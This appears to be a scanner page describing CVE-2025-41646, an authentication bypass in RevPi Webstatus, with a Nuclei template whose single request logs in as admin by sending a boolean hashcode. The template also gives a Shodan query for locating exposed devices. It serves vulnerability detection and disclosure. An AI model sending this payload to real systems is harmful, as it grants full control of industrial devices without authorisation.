RevPi Webstatus <= v2.4.5 - Authentication Bypass

criticalseverity

9.8CVSS score

50.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device

Impact

Unauthenticated attackers can bypass authentication through incorrect type conversion in the login mechanism, achieving complete device compromise.

Fix

Upgrade RevPi Webstatus to version 2.4.6 or later that properly validates authentication credentials.

How to confirm it

Send: POST /php/dal.php
Positive when: contains "\"status\":\"SUCCESS\"" and "\"sessionId\":" AND status 200

Run it with nuclei: nuclei -id CVE-2025-41646 -u <target>

The full check

id: CVE-2025-41646

info:
  name: RevPi Webstatus <= v2.4.5 - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device
  impact: |
    Unauthenticated attackers can bypass authentication through incorrect type conversion in the login mechanism, achieving complete device compromise.
  remediation: |
    Upgrade RevPi Webstatus to version 2.4.6 or later that properly validates authentication credentials.
  reference:
    - https://psirt.kunbus.com/.well-known/csaf/white/2025/kunbus-2025-0000003.json
    - https://x.com/win3zz/status/1940397684176904607
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41646
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-41646
    cwe-id: CWE-704
    epss-score: 0.50913
    epss-percentile: 0.98937
    cpe: cpe:2.3:a:kunbus:revpi_status:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kunbus
    product: revpi_status
    shodan-query: title:"RevPi"
  tags: cve,cve2025,kunbus,revpi-status,auth-bypass,revpi,vkev,vuln

http:
  - raw:
      - |
        POST /php/dal.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"mode":"LOGIN","username":"admin","hashcode":true}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"status":"SUCCESS"'
          - '"sessionId":'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from